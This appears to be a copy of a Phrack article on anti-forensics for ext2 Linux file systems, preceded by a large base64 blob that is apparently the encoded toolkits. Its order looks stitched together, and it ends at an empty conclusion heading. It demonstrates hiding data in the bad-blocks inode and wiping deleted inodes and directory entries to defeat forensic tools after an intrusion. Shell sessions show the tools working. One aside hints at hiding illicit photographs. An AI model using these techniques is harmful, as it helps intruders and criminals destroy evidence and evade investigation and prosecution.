zlxNY6jjqj11ZuhKjUoxewfTJ/mFbcgTgaCF8B1DR/dFy4HdxAfym3Dq8zIv
bSG8lMFAzPAtnvZFNchrWg6IP/ieGcJlRbRF8vYDXsXhLfOyBp7SWUKQhJHQ
4qZlnwnFWiP+QPLdlP1uYYVFmmq02OM68RhnDYSnxVMQXBKkRbUYg/CbVkm4
HngTMhwTWHAxSG6TwAJCk5uSBLxKKgnZ4VaxiJdKUTvm6iNkrsPKYECg/mLx
t6N4585qxgHAPLLbw6axIiSbZ7/WlplNfzcDNVlcy9N5d/wQsbJ/isKzqaEA
IumObrNoUARPY20246sjG9bLA+NcK53qZOo4S6dsXid2UjIpfqYzA4wU0WCk
nxGBsXBwiMjAJAw5Hvw2LCi8iM2GYoc1YXXHVKg216pBnh2ogkLezDZOXaGV
eM5a0deODmEcu6pwkG8LQbAuu2EJantdi/iz3giO52ycgKryAzCqxURnn3Vb
B5ikD8Y1zn4BxjJwE/fBUOE7oxmFMXATaTBPnOVAqMGk73iYu5UF/iQs4jI1
efCAe9mMo5gOvSqXScz9QlWnByOYz0h8rRoYPHI0fbiMk1QsdYXPf6mzCwht
GgKxAaCsWFvyeUw4iOLQe1MxFCWagzMmWZ/Z9nhST9WEoEsX8tvh0Ut3fhg0
HWIZHLUQIERo8aglqXKWMCGnXH2Wp9MILiLRnUAoIxxwJXEBjhAJCH1aqqgt
YWWxy4zp8zmZoY+A8cADZfvHgZi6K/qwzJPGOVOllzCr4IhxsN0qLYTZYD2W
UpoS6iTJyLCw7oOBzTW2Ouh0dlmNYOhWjbyLUZ345sCnhVZQbQJdCwvV6roC
zqUpis2FoALFPPAPEkp1cK2FYbpR/EJ3H/A+PW4kli6ciFoyB7yXDhOqd0yN
ItZXZBU3PTcxjyPAFO0PMe9yjuhyVECHdTsKE3F6Op6IqBX1GG2npbbGzq4z
myyljuxPCsEtBLQA5JY0j5jzuUQSqIZUJhE9e3yWOtOD5S5dWMT8Sdl6zYM5
urSYsKW9GoAIn7TsT+Lt0xTzfsbOvZypNhSp4ylENaMu9KG4s2GlbI8JCM/Q
mqXNgmWDtuXqdpCmws7iOhq0r2V5O1To6Et/EcFlS9jb1+yWeY/P0pcxWneK
NEtY5qEocjUy0zaqsoFt9guNTO4b4NgzrRlpiiKT6e6VTtVy6AyG6dozbI39
+yH0+bZpYSGefi5mQzu+uk4N1cmSraUdLe2GxsmBqSW6JeCwB2Bs3uHZvrAy
CNhzVtzuFszZmqzZaGjKYBfB4SsDZ6rs8dEsT7QCwR9GLHi7vIkuZwKiw+BQ
zgREh8GhnHWMul11Js4EF4NUZ+JMWGSQ6v5v1P8Oo+6aJFjGkNO02uztOda2
8aQ/allDYVWI2Zd9pWFQYjExiOn/cV1MxbeCYM62k5vtY1/doGvJXLEPLsik
Tw4znU7sa2nkylcIviceSFzRDf9UheD9w7X4DvScffRsuQmk6vzrBeNK/eiF
2Rw8aDiQ5O8td5VpfEsWcBLOGayMWmEcLmTafCNQ1PklVZvPCrpFbLHu0Jlu
raLRBAICsgK3axH6tULKD6Y6rdBFY7yZBuWrcAo3qfqVxhIGlLVvzPeYYdm3
E3VhJX1CMRmxLZ+zjzyaIH7z6SQVFlBg+srEbryfampzmMNT95GrdPIULvzm
8xIXpukj3X4hhP2Pnv32PVY0bJ1qd4/v6Od0hpzL+aKv/r0QtrPjDILdG8HV
QyLaSZknqtPdtb1uhvC2n8foWbPbGtOOO5QblYsd1ZzAtIbf6ReetoMAaZnb
2XSYLqxB53L0TytOuuMsit27lyMznWhMz72n+cWO04RusHOdStfwmop71ux0
ZLK3fIYd6Bf2dq/0XNPGhLL5YGJa36+YuSqN84f6ReeIhu4H80F+oe/lRBrT
nRmh+7R4MdMPlJgh5tstE5k/vUG2TGrv4iYaFi80pgNv2Djib9/fTHRuvaeN
I8P8Ioh2uJffqwt5r4a+JRfz/qBxxNVPom7fB+9RsXoKWcxytPjoD4hYPecv
tpHr57kG+oW+oR1r+rDi5/SLWTzkMKJ5HHE1Z5aZ9p9lfjF3h/mF4QS24cOw
furYeuK8cxfT4TC/cLq6UHZfXW2QcJ/TL0J3x+Flp3feqR+VlpnunIn2/pBx
JEye5Bc9XzKTaff89zP4ReQ+yS8STcVJ57T6c/pFFA1VsXrYSvuWjDUV288z
jsQDxxHDYCDOHagQ/r++Tt0x9MS+ydl3xwvtsITOrfWsfhFHQ1cEu7mQmE7s
Z1mPJD2xM3iSUSmTEtPB7Fn8wjJ2tS82KnxukwVNwufbv4Drc0Puz42OlfuT
1WO12BR5VnyYoGWYFfkjOjo6otces6IeJTjHNV7AtcIxvRZ3kBbhEu+P2K07
QqJcocPrdblG36DpifFSHlQlpRe3b98yAn6ZDy6Zrh8JAf9hIIGqGb1sWiRE
Cnq3kKEt2H3FMWOMl2UpGsMlv0VWZPUYSibo7eXlm9t3i3encMF0gv5UJPv7
oxcNy5T6Icw/cGoolsAoGSG/K+sS4U9Zzcua6odn59evz69O2gpFcpSHVb2o
H1cYvfwGvT29vllcXF79KINYHCUpH4oxafGIKeDwVUIYLxN8+CpbVHi5z2Bb
7eRl+YFY9T6s7mktaGiC2uqcvGHt3c3V4uzqatwWtjy+PL+WS/bR76MXEu9H
oImfm0SOi18J71C35d8+EQr8mDaeNO4KMkFq64hV/3r0Illt6rHC92dGQky6
VSMjhmF9Tamp+dbEW8MKj1vbAQEv39QgzZg7CWStcb1ZF0xNJ6PPvPuMHtYZ
8fgoK0wOz72R3hdnV0ZrBrZcErbuloTZBe0SacUlTSuimztcL9JqzBuuWIrf
JX593SiFgBFagr1alCtcMI+eoMvFt1dnp8RjrxfnV+//cov+wX993/665Mhh
```

```
XS6zmGgqHv+JoB2+ShdxuSnq/RO4t/q3TVUjYrmQhomHcF3AtWe44MxbB/py
dfiKqmBMMibt3dcJqrK/4zIdNxn7pIvwKquyUiVLm3QKxiVUTRJEi/Oy4uDT
faZ3PU6M7nCxoNKPG8VzYzWdfe9ovSkO43VZVEfZJXbe/7bHsXQLjQqqzAX+
hOPGoqRsq0FpCcRJmgUBkdBlec5CI808Fp2IQMRLEn8IxATRO8SHr9j1Y9Gj
eDa7eYy+YQGOljLhlFIkiX/CKIRTKrRQ/Hn0gnIvIqFOQjsVwnmFUZeXlxIv
crTvtPMhXWNDts67iNy8Hy/xMl49jlsjTMSV8Ul7sVx0SQIh7EUtddIDUxhh
ZG+hxgSngKEMRoJ2IGzGL6IOJhJp9sMyzPMyHnNH1y+aE4f//rt3/H8AIJZt
jAgqoK0dWo0QkgvArffjerk6zqs9pVhTGC06GNP/LuJgn4w+7cV5C27O04J9
JPmyqhWhCklBmnKHalBS4FSKi/pcgqtwqHk/j/4JM0vxWXxDAAA=
```

```
====
<-->

EOF
```

```
                             ==Phrack Inc.==

              Volume 0x0b, Issue 0x3b, Phile #0x06 of 0x12
```

```
|=---------------=[ Defeating Forensic Analysis on Unix ]=-----------------=|
|=-------------------------------------------------------------------------=|
|=--------------=[ the grugq <grugq@anti-forensics.com> ]=-----------------=|
|=--------------------[ www.anti-forensics.com ]=------------------------=|
```

--[Contents

--[1 - Introduction

   Anti-forensics: the removal, or hiding, of evidence in an attempt to
         mitigate the effectiveness of a forensics investigation.

Digital forensic analysis is rapidly becoming an integral part of incident response, capitalising on a steady increase in the number of trained forensic investigators and forensic toolkits available. Strangly, despite the increased interest in, and focus on, forensics within the information security industry, there is surprisingly little discussion of anti-forensics. In an attempt to remedy the lack of coverage in the literature, this article presents anti-forensic strategies to defeat digital forensic analysis on Unix file systems. Included are example implementations of these strategies targeting the most common Linux file system -- ext2fs.

To facilitate a useful discussion of anti-forensic strategies it is important that the reader possess certain background information. In particular, the understanding of anti-forensic file system sanitization requires the comprehension of basic Unix file system organisation. And, of course, the understanding of any anti-forensic theory demands at least a rudimentary grasp of digital forensic methodology and practise. This article provides a limited introduction to both Unix file systems and digital forensics. Space constraints, however, limit the amount of coverage available to these topics, and the interested reader is directed to the references, which discuss them in greater depth.

----[1.1 - Generic Unix File Systems

This section will describe basic Unix file system theory (not focussing on any specific implementation), discussing the meta-data structures used to organise the file system internally. Files within the Unix OS are continuous streams of bytes of arbitrary length and are the main abstraction used for I/O. This article will focus on files in the more general sense of data stored on disk and organised by a file system.

The data on a disk compriising a Unix file systems is commonly divided into two groups, information about the files and the data within the files. The organizational and accounting information (normally only visible only to the kernel) is called "meta-data", and includes the super-block, inodes and directory files. The content stored in the files is simply called "data".

To create the abstraction of a file the kernel has to transparently translate data stored across one or more sectors on a hard disk into a seemless stream of bytes. The file system is used to keep track of which, and in what order, these sectors should be group together into a file. Additionally, these sector groups need to be kept seperate, and individually distinguishable to the operating system. For this reason there are several types of meta-data, each responsible for accomplishing one of these various tasks.

The content of a file is stored on data blocks which are logical clusters of hard disk sectors. The higher the number of sectors per data block the faster the speed of the disk I/O, improving the file system's performance. At the same time, the larger the data blocks the larger the disk space wasted for files which don't end on block boundaries. Modern file systems typically compromise with block size of 4096 or 8192 bytes, and combat the disk wastage with "fragments" (something not dealt with here). The portion of the disk dedicated to the data blocks is organised as an array, and blocks are referred to by their offsets within this array. The state of a given block, i.e. free vs. allocated, is stored in a bitmap called the "block bitmap".

Data blocks are clustered and organised into files by inodes. Inodes are the meta-data structure which represent the user visible files; one for each unique file. Each inode contains an array of block pointers (that is, indexes into the data block array) and various other information about the file. This additional information about the file includes: the UID; GID; size; permissions; modification/access/creation (MAC) times, and some other data. The limited amount of space available to inodes means the the block pointer array can only contain a small number of pointers. To allow file sizes to be of substantial length, inodes employ "indirect blocks". An indirect block acts as an extension to the block array, storing additional pointers. Doubly and trebly indirect blocks contain block pointers to further indirect blocks, and doubly indirect blocks respectively. Inodes are stored in an array called the inode table, and are referred to by their 0-based indexes within this table. The state of an inode, i.e. free vs. allocated, is stored in a bitmap called, imaginitively, the "inode bitmap".

Files, that is, inodes, are associated with file names by special structures called directory entries stored within directory files. These structures are stored contigously inside the directory file. Directory entries have a basic structure of:

```
struct dirent {
    int   inode;
    short rec_size;
    short name_len;
    char  file_name[NAME_LEN];
};
```

The ’inode’ element of the dirent contains the inode number which is linked with the file name, stored in ’file_name’. To save space, the actual length of the file name is recorded in ’name_len’ and the remaining space in the file_name array is used by the next directory entry structure. The size of a dirent is usually rounded up to the closest power of two, and this size is stored in ’rec_size’. When a file name/inode link is removed, the inode value is set to 0 and the rec_size of the preceding dirent is extended to encompass the deleted dirent. This has the effect of storing the names of deleted files inside directory files.

Everytime an file name is linked with a file name, and internal counter within the inode is incremented. Likewise, everytime a link is removed, this counter is decremented. When this counter reaches 0, there are no references to the inode from within the directory structure; the file is deleted. Files which have been deleted can safely have their resources, the data blocks and the inode itself, freed. This is accomplished by marking the appropriate bitmaps.

Directories files themselves are logically organised as a tree starting from a root directory. This root directory file is associated with a known inode (inode 2) so that the kernel can locate it, and mount the file system.

To mount a file system the kernel needs to know the size and locations of the meta-data. The first piece of meta-data, the super block, is stored at a known location. The super-block contains information such as the number of inodes and blocks, the size of a block, and a great deal of additional information. Based on the data within the super block, the kernel is able to calculate the locations and sizes of the inode table and the data portion of the disk.

For performance reasons, no modern file system actually has just one inode table and one block array. Rather inodes and blocks are clustered together in groups spread out across the disk. These groups usually contain private bitmaps for their inodes and blocks, as well as copies of the superblock to aid recovery in case of catastrophic data loss.

Thus concludes the whirlwind tour of a generic unix file system. A specific implementation is described in Appendix A: The Second Extended File System. The next section will provide an introduction to digital file system forensics.

----[1.2 - Forensics

Digital forensic analysis on a file system is conducted to gather evidence for some purpose. As stated previously, this purpose is irrelevant to this discussion because anti-forensics theory shouldn’t rely on the intended use of the evidence; it should focus on preventing the evidence from being gathered. That being said, ignorance as to the reasons behind an analysis provides no benefit, so we will examine the two primary motivators behind an investigation.

The purpose of an incident response analysis of a file system is either casual, or legal. These terms are not the standard means to describing motives and because there are significant differences between the two, some explanation is in order.

Legal investigations are to aid a criminal prosecution. The strict requirements on evidence to be submitted to a court of law make subversion of a legal forensic investigations fairly easy. For instance, merely overwriting the file system with random data is sufficient to demonstrate that none of the data gathered is reliable enough for submission as evidence.

Casual investigations do not have as their goal the criminal prosecution of an individual. The investigation is executed because of interest on the part of the forensic analyst, and so the techniques, tools and methodology used are more liberally inclined. Subverting a casual forensic analysis requires more effort and skill because there are no strict third party requirements regarding the quality or quantity of evidence.

Regardless of the intent of the forensics investigation, the steps followed are essentially the same:

- the file system needs to be captured
- the information contained on it gathered
- this data parsed into evidence
- this evidence examined.

This evidence is both file content (data), and information about the file(s) (meta-data). Based on the evidence retrieved from the file system the investigator will attempt to:

- gather information about the individual(s) involved [who]
- determine the exact nature of events that transpired [what]
- construct a timeline of events [when]
- discover what tools or exploits where used [how]

As an example to how the forensics process works, the example of the recovery of a deleted file will be presented.

A file is deleted on a Unix file system by decrementing the inode's internal link count to 0. This is accomplished by removing all directory entry file name inode pairs. When the inode is deleted, the kernel will mark is resources as available for use by other files -- and that is all. The inode will still contain all of the data about the file which it referenced, and the data blocks it points to will still contain file content. This remains the case until they have been reallocated, and reused; overwriting this residual data.

Given this dismal state of affairs, recovering a deleted file is trivial for the forensic analyst. Simply searching for inodes which have some data (i.e. are not virgin inodes), but have a link count of 0 reveals all deleted inodes. The block pointers can then be followed up and the file contents (hopefully) recovered. Even without the file content, a forensic analyst can learn much about what happened on a file system with only the meta-data present in the directory entries and inodes. This meta-data is not accessable through the kernel system call interface and thus is not alterable by normal system tools (this is not strictly true, but is accurate enough from a forensics POV).

Unfortunately, accomplishing this is extremely difficult, if not impossible, when the forensic analyst is faced with a hostile anti-forensics agent. The digital forensics industry has had an easy time of late due to the near absense of anti-forensics information and tools, but that is (obviously) about to change.

--[2 - Anti-Forensics

In the previous section forensic analysis was outlined, and means of subverting the forensic process were hinted at, this section will expand on anti-forensic theory. Anti-forensics is the attempt to mitigate the quantity and quality of information that an investigator can examine. At each steps of the analysis, the forensics process is vulnerable to attack and subversion. This article focuses primarily on subverting the data gathering phase of a digital forensics investigation, with two mechanisms being detailed here: the first is data destruction, and the second data hiding. Some mention will also be given to exploiting vulnerabilities throughout the analytic process.

The digital forensics process is extremely vulnerable to subversion when raw data (e.g. a bit copy of a file system) is converted into evidence (e.g. emails). This conversion process is vulnerable at almost every step, usually because of an abstraction that is performed on the data. When an abstraction layer is encountered, details are lost, and details *are* data. Abstractions remove data, and this creates gaps in the evidence which can be exploit. But abstractions are not the only source of error during a forensic analysis, the tools used are themselves frequently flawed and imperfect. Bugs in the implementations of forensic tools provide even greater oppurtunities for exploitation by anti-forensic agents.

There is little that a remote anti-forensics agent can do to prevent the file system from being captured, and so focus has been given to exploiting the next phase of a forensic investigation -- preventing the evidence from being gathered off the file system. Halting data aquisition can be accomplished by either of two primary mechanisms: data destruction and data hiding. Of the two methods, data destruction is the most reliable, leaving nothing behind for the investigator to analyse. Data destruction provides a means of securely removing all trace of the existance of evidence, effectively covering tracks.

Data hiding, on the other hand, is useful only so long as the analyst doesn't know where to look. Long term integrity of the data storage area cannot be garaunteed. For this reason, data hiding should be used in combination with attacks against the parsing phase (e.g. proprietary file formats), and against the examination phase (e.g. encryption). Data hiding is most useful in the case of essential data which must be stored for some length of time (e.g. photographs of young women in artistic poses).

The two toolkits which accompany this article provide demonstration implementations of both data destruction, and data hiding methodologies. The toolkits will be used to provide examples when examining data destruction and hiding in greater detail below. The first anti-forensics methodology that will be examined in depth is data hiding.

--[3 - Runefs

The most common toolkit for Unix forensic file system analysis is "The Coronor's Toolkit"[1] (TCT) developed by Dan Farmer and Wietse Venema. Despite being relied on for years as the mainstay of the Unix digital forensic analyst, and providing the basis for several enhancements [2][3], it remains as flawed today as when it was first released. A major file system implementation bug allows an attacker to store arbitrary amounts of data in a location which the TCT tools cannot examine.

The TCT implementations of the Berkley Fast File System (FFS or sometimes UFS), and the Second Extended File System (ext2fs), fail to correctly reproduce the file system specifications. TCT makes the incorrect assumption that no data blocks can be allocated to an inode before the root inode; failing to take into account the bad blocks inode.

Historically, the bad blocks inode was used to reference data blocks occupying bad sectors of the hard disk, preventing these blocks from being used by live files. The FFS has deprecated the bad blocks inode, preventing the successful exploitation of this bug, but it is still in use on ext2fs. Successfully exploiting a file system data hiding attack means, for an anti-forensics agent, manipulating the file system without altering it outside of the specifications implemented in the file system checker: fsck. Although, it is interesting to note that no forensic analysis methodology uses fsck to ensure that the file system has not been radically altered.

The ext2fs fsck still uses the bad blocks inode for bad block referencing, and so it allows any number of blocks to be allocated to the inode. Unfortunately, the TCT file system code does not recognise the bad blocks inode as within the scope of an investigation. The bad blocks inode bug is easy to spot, and should be trivial to correct. Scattered throughout the file system code of the TCT package (and the related toolkit TASK) is the following errorneous check:

```
    /*
```

```
     * Sanity check.
     */
     if (inum < EXT2_ROOT_INO || inum > ext2fs->fs.s_inodes_count)
          error("invalid inode number: %lu", (ULONG) inum);
```

The first inode that can allocate block resources on a ext2 file system is in fact the bad blocks inode (inode 1) -- *not* the root inode (inode 2). Because of this mis-implementation of the ext2fs it is possible to store data on blocks allocated to the bad blocks inode and have it hidden from an analyst using TCT or TASK. To illustrate the severity of this attack the following examples demonstrate using the accompanying runefs toolkit to: create hidden storage space; copy data to and from this area, and show how this area remains secure from a forensic analyst.

----[3.1 - Example: Creating hidden space

```
# df -k /dev/hda6
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda6              1011928        20    960504   1% /mnt
# ./bin/mkrune -v /dev/hda6
+++ bb_blk +++
    bb_blk->start = 33275
    bb_blk->end = 65535
    bb_blk->group = 1
    bb_blk->size = 32261
+++
rune size: 126M
# df -k /dev/hda6
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/hda6              1011928    129196    831328  14% /mnt
# e2fsck -f /dev/hda6
e2fsck 1.26 (3-Feb-2002)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
/dev/hda6: 11/128768 files (0.0% non-contiguous), 36349/257032 blocks
#
```

This first example demonstrates the allocation of 126 megabytes of disk space for the hidden storage area, showing how this loss of available disk space is registered by the kernel. It is also evident that the hidden storage area does not break the specifications of the ext2 file system -- fsck has no complaints.

----[3.2 - Example: Using the hidden space

```
# cat readme.tools | ./bin/runewr /dev/hda6
# ./bin/runerd /dev/hda6 > f
# diff f readme.tools
#
```

This second example shows how data can be inserted and extracted from the hidden storage space without any data loss. While this example does not comprehensively explore the uses of a hidden data storage area, it is sufficient to demonstrate how data can be introduced to and extracted from the runefs.

----[3.3 - Example: TCT incorrect ext2fs implementation

```
# ./icat /dev/hda6 1
/icat: invalid inode number: 1
#
```

This last example illustrates how the forensic analyst is incapable of finding this storage area with the TCT tools. Clearly, there are many problems raised when the file system being examined has not been correctly implemented in the tools used.

Interesting as these examples are, there are problems with this runefs. This implementation of runefs is crude and old (it was written in November 2000), and it does not natively support encryption. The current version of runefs is a dynamicly resizeable file system which supports a full directory structure, is fully encrypted, and can grow up to four gigabytes in size (it is private, and not will be made available to the public).

The final problem with this runefs in particular, and the private implementation as well, is that the bad blocks data hiding technique is now public knowledge (quite obviously). This highlights the problem with data hiding techniques, they become out dated. For this reason data hiding should always be used in conjunction with at least one other anti-forensics technology, such as encryption.

There are more ways of securely storing data on the file system far from the prying eyes of the forensic analyst, and a research paper is due shortly that will detail many of them. However, this is the last this article will mention on data hiding, now the focus shifts to data destruction.

--[4 - The Defiler's Toolkit

The file system (supposedly) contains a record of file I/O activity on a computer and forensic analysts attempt to extract this record for examination. Aside from their forensic tools incorrectly reporting on the data, these tools are useless if the data is not there to be reported on. This section will present methodologies for thoroughly eradicating evidence on a file system. These methodologies have been implemented in The Defiler's Toolkit (TDT) which accompanies this article.

The major vulnerablity with data aquisition is that the evidence being gathered must be there when the forensic analyst begins his investigation. Non-existant data, obviously, cannot be gathered, and without this crucial information the forensic analyst is incapable of progressing the investigation.

File system sanitization is the anti-forensic strategy of removing this data (evidence), and doing so in such a way so as to leave no trace that evidence ever existed (i.e. leave no "evidence of erasure"). The Defiler's Toolkit provides tools to remove data from the file system with surgical precision. By selectively eradicating the data which might become evidence, the anti-forensics agent is able to subvert the entire forensics process before it is even begun.

Within a Unix file system all of the following places will contain traces of the existence of a file -- they contain evidence:

- inodes
- directory entries
- data blocks

Unfortunately, most secure deletion tools will only remove evidence from data blocks, leaving inodes and directory entries untouched. Included with this article is an example implementation of an anti-forensic toolkit which performs complete file system sanitization. The Defiler's Toolkit provides two tools, necrofile and klismafile, which, combined, securely eliminate all trace of a file's existance.

The Defiler's Toolkit consists of two complimentary tools, necrofile and klismafile. Their design goals and implementation are described here.

----[4.1 - Necrofile

Necrofile is a sophisicated dirty inode selection and eradication tool. It can be used to list all dirty inodes meeting certain deletion time criteria, and then scrub those inodes clean. These clean inodes provide no evidence for the forensic analyst investigating the file system contained on that disk.

Necrofile has some built in capabilities to securely delete all content on the data blocks referenced by the dirty inode. However, this is not the ideal use of the tool because of the race conditions which afflict all tools handling file system resources without the blessing of the kernel.

When necrofile is invoked, it is supplied with a file system to search, and a number of criteria be used to determine whether a given dirty inode should be scrubbed clean. As necrofile iterates through the inode table, it check the state of each inode, with dirty inodes being given extra attention. All dirty inodes that meet the time criteria are written back to the inode table as virgin inodes, and the iteration continues.

------[4.1.1 - Example: TCT locates deleted inodes

```
# ./ils /dev/hda6
class|host|device|start_time
ils|XXX|/dev/hda6|1026771982
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\
st_nlink|st_size|st_block0|st_block1
12|f|0|0|1026771841|1026771796|1026771958|1026771958|100644|0|86|545|0
13|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|546|0
14|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|547|0
15|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|548|0
16|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|549|0
17|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|550|0
18|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|551|0
19|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|552|0
20|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|553|0
21|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|554|0
22|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|555|0
23|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|556|0
24|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|557|0
25|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|558|0
26|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|559|0
27|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|560|0
28|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|561|0
29|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|562|0
30|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|563|0
31|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|564|0
32|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|565|0
33|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|566|0
34|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|567|0
35|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|568|0
36|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|569|0
37|f|0|0|1026771842|1026771796|1026771958|1026771958|100644|0|86|570|0
#
```

------[4.1.2 - Example: necrofile locates and eradicates deleted inodes

```
# ./necrofile -v -v -v -v /dev/hda6
Scrubbing device: /dev/hda6
12 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
13 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
14 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
15 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
16 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
17 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
18 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
19 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
20 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
21 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
22 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
23 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
24 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
```

```
25 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
26 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
27 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
28 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
29 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
30 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
31 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
32 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
33 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
34 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
35 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
36 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f
37 = m: 0x3d334d4d a: 0x3d334d4d c: 0x3d334d4f d: 0x3d334d4f

#
```

------[4.1.3 - Example: TCT unable to locate non-existant data

```
#  ./ils /dev/hda6
class|host|device|start_time
ils|XXX|/dev/hda6|1026772140
st_ino|st_alloc|st_uid|st_gid|st_mtime|st_atime|st_ctime|st_dtime|st_mode|\
st_nlink|st_size|st_block0|st_block1
#
```

Little explanation is necessary with these examples. The "ils" tool is part of TCT and lists deleted inodes for potential recovery. The necrofile tool is being run in its most verbose form, as it locates and overwrites the same inodes found by ils. Necrofile is more effective, however, when used to target inodes deleted during specific time slices, leaving all other deleted inodes untouched. This tactic eliminates evidence of erasure, i.e. indications that evidence has been removed. After the deleted inodes have been converted into virgin inodes, ils is justifiably incapable of finding them. After removing the inodes which contain valuable forensic data, the other location which needs to be sanitized is the directory entries.

----[4.2 - Klismafile

Klismafile provides a means of securely overwriting deleted directory entries. When a file name/inode link is terminated, the content of the directory entry is not overwritten; simply included in the slack space of the preceeding entry. Klismafile will search a directory file for these "deleted" entries, and overwrite them. Regular expressions can be used to limit the number of directory entries removed.

When klismafile is invoked, it is provided with a directory file to search, and can optionally recurse through all other directory files it encounters. Klismafile will iterate through the directory entries, and search for dirents which have been deleted. When it encounters a deleted dirent, klismafile will compare the 'file_name' against any regular expressions provided by the invoker (the default is '*'). If there is a match, klismafile will overwrite the dirent with zeroes.

Klismafile is not a completely secure solution. A skilled forensic analyst will note that the preceeding directory entry's rec_len field is larger than it should be, and could infer than a tool such as klismafile has artificially manipulated the directory file's contents. Currently, there are no tools which perform this check, however that will no doubt change soon.

------[4.2.1 - Example: fls listing deleted directory entries

```
# ./fls -d /dev/hda6 2
? * 0:  a
? * 0:  b
? * 0:  c
? * 0:  d
? * 0:  e
? * 0:  f
? * 0:  g
? * 0:  h
? * 0:  i
? * 0:  j
? * 0:  k
? * 0:  l
? * 0:  m
? * 0:  n
? * 0:  o
? * 0:  p
? * 0:  q
? * 0:  r
? * 0:  s
? * 0:  t
? * 0:  u
? * 0:  v
? * 0:  w
? * 0:  x
? * 0:  y
? * 0:  z
#
```

------[4.2.2 - Example: Klismafile cleaning deleted directory entries

```
# ./klismafile -v /mnt
Scrubbing device: /dev/hda6
cleansing /
-> a
-> b
-> c
-> d
-> e
-> f
-> g
-> h
-> i
-> j
-> k
-> l
-> m
-> n
-> o
-> p
-> q
-> r
-> s
-> t
-> u
-> v
-> w
-> x
-> y
-> z
Total files found:      29
Directories checked:    1
Dirents removed :       26
#
```

------[4.2.3 - Example: fls unable to find non-existant data

```
# ./fls -d /dev/hda6 2
#
```

These examples speak for themselves. The ’fls’ utility is part of the TCT-UTILS package, and is intended to examine directory files. In this case, it is listing all deleted directory entries in the root directory of the file system. Klismafile is then run in verbose mode, listing and overwriting each directory entry it encounters. After klismafile, fls is incapable of noting that anything is amiss within the directory file.

Note: The linux 2.4 kernel caches directories in kernel memory, rather than immediately updating the file system on disk. Because of this, the directory file that klismafile examines and attempts to clean might not be current, or the changes made might get overwritten by the kernel. Usually, performing disk activity in another directory will flush the cache, allowing kilsmafile to work optimally.

The Defiler’s Toolkit has been written as a proof of concept utility to demonstrate the inherent flaws with all current digital forensic methodologies and techniques. The toolkit successfully accomplishes the goals for which it was designed; proving that forensic analysis after an intrusion is highly suspect without significant prior preparation of the targeted computers.

--[5 - Conclusion

